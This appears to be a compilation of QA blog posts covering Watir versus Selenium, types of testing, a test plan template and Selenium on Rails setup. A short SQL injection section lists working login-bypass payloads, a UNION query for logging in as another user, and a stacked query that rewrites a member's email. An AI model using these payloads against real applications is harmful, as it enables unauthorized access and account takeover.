Watir vs Selenium

Watir is a Ruby library that wraps the COM interface to Internet Explorer. COM is a long-standing Windows-based technology for making libraries accessible to various languages. This allows access to the Document Object Model (DOM) so it doesn’t matter where on the page an object exists, what matters is how you identify it (id, name, title, etc).

Selenium uses a unique mechanism for driving browsers. Selenium’s automation engine is written in JavaScript and runs inside a browser. The engine, called a browser bot, is embedded in a page that accesses the application under test in a separate frame. Because of cross-site scripting, Selenium’s browser bot has to be served from the same site as the application under test – requiring installation on the server.

Selenium supports a command language, called Selenese. Tests can be embedded in an HTML table, which will be read in by the browser bot and then executed.

Both tools run tests directly in a browser, and both do it in a way that allows the browser to be minimized while the tests are running, which means you don’t have to dedicate a machine to running tests.

Watir was designed to be easy to learn, it allows page elements to be identified by index, name, ID, value or adjacent text.  Now Watir supports IE, Firefox,chrome,Safari with the help of  Firewatir, SafariWatir,chrome Watir. Complaint: Watir is currently limited to IE browsers on Windows, Firewatir supports  firefox browsers. So we need to write separate code for each and every browsers. But Selenium does in Single attempt.

Selenium was designed for breadth of coverage- multiple browsers and platforms. It was expected to be used by the same developers who built the application. Complaint: Selenium requires a server-side installation.

You can also express Selenium tests in a programming language, taking advantage of language-specific drivers that communicate in Selenese to the browser bot.

Reference: http://www.newsqa.com/watir-vs-selenium/

Watir — Use of innerText method

Watir — Use of innerText method

code

require ‘watir’
ie = Watir::IE.new
ie.goto(“http://www.google.com/ncr”)
my_div = ie.element_by_xpath(“//div[@id='gbar']“)
puts my_div.innerText

Output:

Web Images Videos Maps News Shopping Gmail more ?Groups
Books
Scholar
Finance
Blogs
YouTube
Calendar
Photos
Documents
Reader
Sites
even more »

Types of testing

• Black box testing – You don’t need to know the internal design or have deep knowledge about the code to conduct this test. It’s mainly based on functionality and specifications, requirements.
• White box testing – This test is based on knowledge of the internal design and code. Tests are based on code statements, coding styles, etc.
• unit testing – the most ‘micro’ scale of testing; to test particular functions or code modules. Typically done by the programmer and not by testers, as it requires detailed knowledge of the internal program design and code. Not always easily done unless the application has a well-designed architecture with tight code, may require developing test driver modules or test harnesses.
• incremental integration testing – continuous testing of an application as new functionality is added; requires that various aspects of an application’s functionality be independent enough to work separately before all parts of the program are completed, or that test drivers be developed as needed; done by programmers or by testers.
• integration testing – testing of combined parts of an application to determine if they function together correctly. The ‘parts’ can be code modules, individual applications, client and server applications on a network, etc. This type of testing is especially relevant to client/server and distributed systems.
• functional testing – black-box type testing geared to functional requirements of an application; this type of testing should be done by testers. This doesn’t mean that the programmers shouldn’t check that their code works before releasing it (which of course applies to any stage of testing.)
• system testing – black-box type testing that is based on overall requirements specifications; covers all combined parts of a system.
• end-to-end testing – similar to system testing; the ‘macro’ end of the test scale; involves testing of a complete application environment in a situation that mimics real-world use, such as interacting with a database, using network communications, or interacting with other hardware, applications, or systems if appropriate.
• sanity testing or smoke testing – typically an initial testing effort to determine if a new software version is performing well enough to accept it for a major testing effort. For example, if the new software is crashing systems every 5 minutes, bogging down systems to a crawl, or corrupting databases, the software may not be in a ’sane’ enough condition to warrant further testing in its current state.
• regression testing – re-testing after fixes or modifications of the software or its environment. It can be difficult to determine how much re-testing is needed, especially near the end of the development cycle. Automated testing tools can be especially useful for this type of testing.
• acceptance testing – final testing based on specifications of the end-user or customer, or based on use by end-users/customers over some limited period of time.
• load testing – testing an application under heavy loads, such as testing of a web site under a range of loads to determine at what point the system’s response time degrades or fails.
• stress testing – term often used interchangeably with ‘load’ and ‘performance’ testing. Also used to describe such tests as system functional testing while under unusually heavy loads, heavy repetition of certain actions or inputs, input of large numerical values, large complex queries to a database system, etc.
• performance testing – term often used interchangeably with ’stress’ and ‘load’ testing. Ideally ‘performance’ testing (and any other ‘type’ of testing) is defined in requirements documentation or QA or Test Plans.
• usability testing – testing for ‘user-friendliness’. Clearly this is subjective, and will depend on the targeted end-user or customer. User interviews, surveys, video recording of user sessions, and other techniques can be used. Programmers and testers are usually not appropriate as usability testers.
• install/uninstall testing – testing of full, partial, or upgrade install/uninstall processes.
• recovery testing – testing how well a system recovers from crashes, hardware failures, or other catastrophic problems.
• failover testing – typically used interchangeably with ‘recovery testing’
• security testing – testing how well the system protects against unauthorized internal or external access, willful damage, etc; may require sophisticated testing techniques.
• compatability testing – testing how well software performs in a particular hardware/software/operating system/network/etc. environment.
• exploratory testing – often taken to mean a creative, informal software test that is not based on formal test plans or test cases; testers may be learning the software as they test it.
• ad-hoc testing – similar to exploratory testing, but often taken to mean that the testers have significant understanding of the software before testing it.
• context-driven testing – testing driven by an understanding of the environment, culture, and intended use of software. For example, the testing approach for life-critical medical equipment software would be completely different than that for a low-cost computer game.
• user acceptance testing – determining if software is satisfactory to an end-user or customer.
• Comparison testing – comparing software weaknesses and strengths to competing products.
• alpha testing – testing of an application when development is nearing completion; minor design changes may still be made as a result of such testing. Typically done by end-users or others, not by programmers or testers.
• beta testing – testing when development and testing are essentially completed and final bugs and problems need to be found before final release. Typically done by end-users or others, not by programmers or testers.
• mutation testing – a method for determining if a set of test data or test cases is useful, by deliberately introducing various code changes (‘bugs’) and retesting with the original test data/cases to determine if the ‘bugs’ are detected. Proper implementation requires large computational resources.

SQL injection

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database
layer of an application. The vulnerability is present when user input is either incorrectly filtered for
string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby
unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur
whenever one programming or scripting language is embedded inside another.

SELECT * FROM users WHERE name = ‘a’ OR ‘t’='t’;

x’;UPDATE members SET email = ’steve@unixwiz.net’ WHERE email = ‘bob@example.com

Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricks

* admin’ –
* admin’ #
* admin’/*
* ‘ or 1=1–
* ‘ or 1=1#
* ‘ or 1=1/*
* ‘) or ‘1′=’1–
* ‘) or (‘1′=’1–
* ….

* Login as different user (SM*)
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

*Old versions of MySQL doesn’t support union queries

Test plan sample

Test plan description URL –> http://en.wikipedia.org/wiki/Test_plan

Test plan is in high demand. Ya it should be! Test plan reflects your entire project testing schedule and approach. This article is in response to those who have demanded sample test plan.

In my previous article I have outlined Test plan Index. In this article I will elaborate that index to what each point mean to do. So this Test plan will include the purpose of test plan i. e to prescribe the scope, approach, resources, and schedule of the testing activities. To identify the items being tested, the features to be tested, the testing tasks to be performed, the personnel responsible for each task, and the risks associated with this plan.

Find what actually you need to include in each index point.

I have included link to download PDF format of this test plan template at the end of this post.

Test Plan Template:

(Name of the Product)

Prepared by:

(Names of Preparers)

(Date)

TABLE OF CONTENTS

1.0 INTRODUCTION

2.0 OBJECTIVES AND TASKS
2.1 Objectives
2.2 Tasks

3.0 SCOPE

4.0 Testing Strategy
4.1 Alpha Testing (Unit Testing)
4.2 System and Integration Testing
4.3 Performance and Stress Testing
4.4 User Acceptance Testing
4.5 Batch Testing
4.6 Automated Regression Testing
4.7 Beta Testing

5.0 Hardware Requirements

6.0 Environment Requirements
6.1 Main Frame
6.2 Workstation

7.0 Test Schedule

8.0 Control Procedures

9.0 Features to Be Tested

10.0 Features Not to Be Tested

11.0 Resources/Roles & Responsibilities

12.0 Schedules

13.0 Significantly Impacted Departments (SIDs)

14.0 Dependencies

15.0 Risks/Assumptions

16.0 Tools

17.0 Approvals

1.0 INTRODUCTION

A brief summary of the product being tested. Outline all the functions at a high level.

2.0 OBJECTIVES AND TASKS

2.1 Objectives
Describe the objectives supported by the Master Test Plan, eg., defining tasks and responsibilities, vehicle for communication, document to be used as a service level agreement, etc.

2.2 Tasks
List all tasks identified by this Test Plan, i.e., testing, post-testing, problem reporting, etc.
3.0 SCOPE

General
This section describes what is being tested, such as all the functions of a specific product, its existing interfaces, integration of all functions.

Tactics
List here how you will accomplish the items that you have listed in the “Scope” section. For example, if you have mentioned that you will be testing the existing interfaces, what would be the procedures you would follow to notify the key people to represent their respective areas, as well as allotting time in their schedule for assisting you in accomplishing your activity?

4.0 TESTING STRATEGY

Describe the overall approach to testing. For each major group of features or feature combinations, specify the approach which will ensure that these feature groups are adequately tested. Specify the major activities, techniques, and tools which are used to test the designated groups of features.

The approach should be described in sufficient detail to permit identification of the major testing tasks and estimation of the time required to do each one.

4.1 Unit Testing

Definition:
Specify the minimum degree of comprehensiveness desired. Identify the techniques which will be used to judge the comprehensiveness of the testing effort (for example, determining which statements have been executed at least once). Specify any additional completion criteria (for example, error frequency). The techniques to be used to trace requirements should be specified.

Participants:
List the names of individuals/departments who would be responsible for Unit Testing.

Methodology:
Describe how unit testing will be conducted. Who will write the test scripts for the unit testing, what would be the sequence of events of Unit Testing and how will the testing activity take place?

4.2 System and Integration Testing

Definition:
List what is your understanding of System and Integration Testing for your project.

Participants:
Who will be conducting System and Integration Testing on your project? List the individuals that will be responsible for this activity.

Methodology:
Describe how System & Integration testing will be conducted. Who will write the test scripts for the unit testing, what would be sequence of events of System & Integration Testing, and how will the testing activity take place?

4.3 Performance and Stress Testing

Definition:
List what is your understanding of Stress Testing for your project.

Participants:
Who will be conducting Stress Testing on your project? List the individuals that will be responsible for this activity.

Methodology:
Describe how Performance & Stress testing will be conducted. Who will write the test scripts for the testing, what would be sequence of events of Performance & Stress Testing, and how will the testing activity take place?

4.4 User Acceptance Testing

Definition:
The purpose of acceptance test is to confirm that the system is ready for operational use. During acceptance test, end-users (customers) of the system compare the system to its initial requirements.

Participants:
Who will be responsible for User Acceptance Testing? List the individuals’ names and responsibility.

Methodology:
Describe how the User Acceptance testing will be conducted. Who will write the test scripts for the testing, what would be sequence of events of User Acceptance Testing, and how will the testing activity take place?

4.5 Batch Testing

4.6 Automated Regression Testing

Definition:
Regression testing is the selective retesting of a system or component to verify that modifications have not caused unintended effects and that the system or component still works as specified in the requirements.

Participants:
Methodology:

4.7 Beta Testing
Participants:

Methodology:
5.0 HARDWARE REQUIREMENTS
Computers
Modems

6.0 ENVIRONMENT REQUIREMENTS

6.1 Main Frame
Specify both the necessary and desired properties of the test environment. The specification should contain the physical characteristics of the facilities, including the hardware, the communications and system software, the mode of usage (for example, stand-alone), and any other software or supplies needed to support the test. Also specify the level of security which must be provided for the test facility, system software, and proprietary components such as software, data, and hardware.

Identify special test tools needed. Identify any other testing needs (for example, publications or office space). Identify the source of all needs which are not currently available to your group.

6.2 Workstation
7.0 TEST SCHEDULE

Include test milestones identified in the Software Project Schedule as well as all item transmittal events.

Define any additional test milestones needed. Estimate the time required to do each testing task. Specify the schedule for each testing task and test milestone. For each testing resource (that is, facilities, tools, and staff), specify its periods of use.

8.0 CONTROL PROCEDURES

Problem Reporting
Document the procedures to follow when an incident is encountered during the testing process. If a standard form is going to be used, attach a blank copy as an “Appendix” to the Test Plan. In the event you are using an automated incident logging system, write those procedures in this section.

Change Requests
Document the process of modifications to the software. Identify who will sign off on the changes and what would be the criteria for including the changes to the current product. If the changes will affect existing programs, these modules need to be identified.

9.0 FEATURES TO BE TESTED

Identify all software features and combinations of software features that will be tested.

10.0 FEATURES NOT TO BE TESTED

Identify all features and significant combinations of features which will not be tested and the reasons.

11.0 RESOURCES/ROLES & RESPONSIBILITIES

Specify the staff members who are involved in the test project and what their roles are going to be (for example, Mary Brown (User) compile Test Cases for Acceptance Testing). Identify groups responsible for managing, designing, preparing, executing, and resolving the test activities as well as related issues. Also identify groups responsible for providing the test environment. These groups may include developers, testers, operations staff, testing services, etc.

12.0 SCHEDULES

Major Deliverables
Identify the deliverable documents. You can list the following documents:
- Test Plan
- Test Cases
- Test Incident Reports
- Test Summary Reports

13.0 SIGNIFICANTLY IMPACTED DEPARTMENTS (SIDs)

Department/Business Area Bus. Manager Tester(s)

14.0 DEPENDENCIES

Identify significant constraints on testing, such as test-item availability, testing-resource availability, and deadlines.

15.0 RISKS/ASSUMPTIONS

Identify the high-risk assumptions of the test plan. Specify contingency plans for each (for example, delay in delivery of test items might require increased night shift scheduling to meet the delivery date).
16.0 TOOLS
List the Automation tools you are going to use. List also the Bug tracking tool here.

17.0 APPROVALS

Specify the names and titles of all persons who must approve this plan. Provide space for the signatures and dates.

Name (In Capital Letters) Signature Date

1.

2.

3.

4.

Selenium On Rails

Getting Started

Selenium on Rails is the name of the Selenium product crafted specifically for Rails
developers and is distributed as a Rails plugin. It has been designed to work seamlessly
with the Rails testing environment and fixtures.

It’s easy to install Selenium on Rails and get started.

1. Install the core Selenium files needed by the plugin:

SAMPLE>gem install selenium

2. Install the Selenium on Rails plugin for a given project:

SAMPLE>ruby  script/plugin install http://svn.openqa.org/svn/selenium-on-rails/selenium-on-rails/

3. Generate the test directory and a test script:

SAMPLE>ruby script/generate selenium first.rsel

4. Start your Rails server in its test environment:

SAMPLE>ruby script/server -e test

5. Open the Selenium Test Runner in your browser:

http://localhost:3000/selenium

If your installation and setup succeeded, you see the Selenium Test Runner in your browser. You should also know that Selenium tests can be run from the command line and integrated into an automated suite of tests, but for demonstration purposes we will use the built-in web interface to execute our tests.

SAMPLE/test/selenium/first.rsel

setup
open ‘/’
assert_title ‘Ruby on Rails: Welcome aboard’
Run test in –> http://localhost:3000/selenium

For more reference –> http://seleniumhq.org/

Regards,

P.Raveendran

What is QA testing?

“QA” is an abbreviation for “Quality Assurance.” With QA testing, the company makes sure that the product they are going to deliver to consumers meets their standards of functionality, reliability, and security.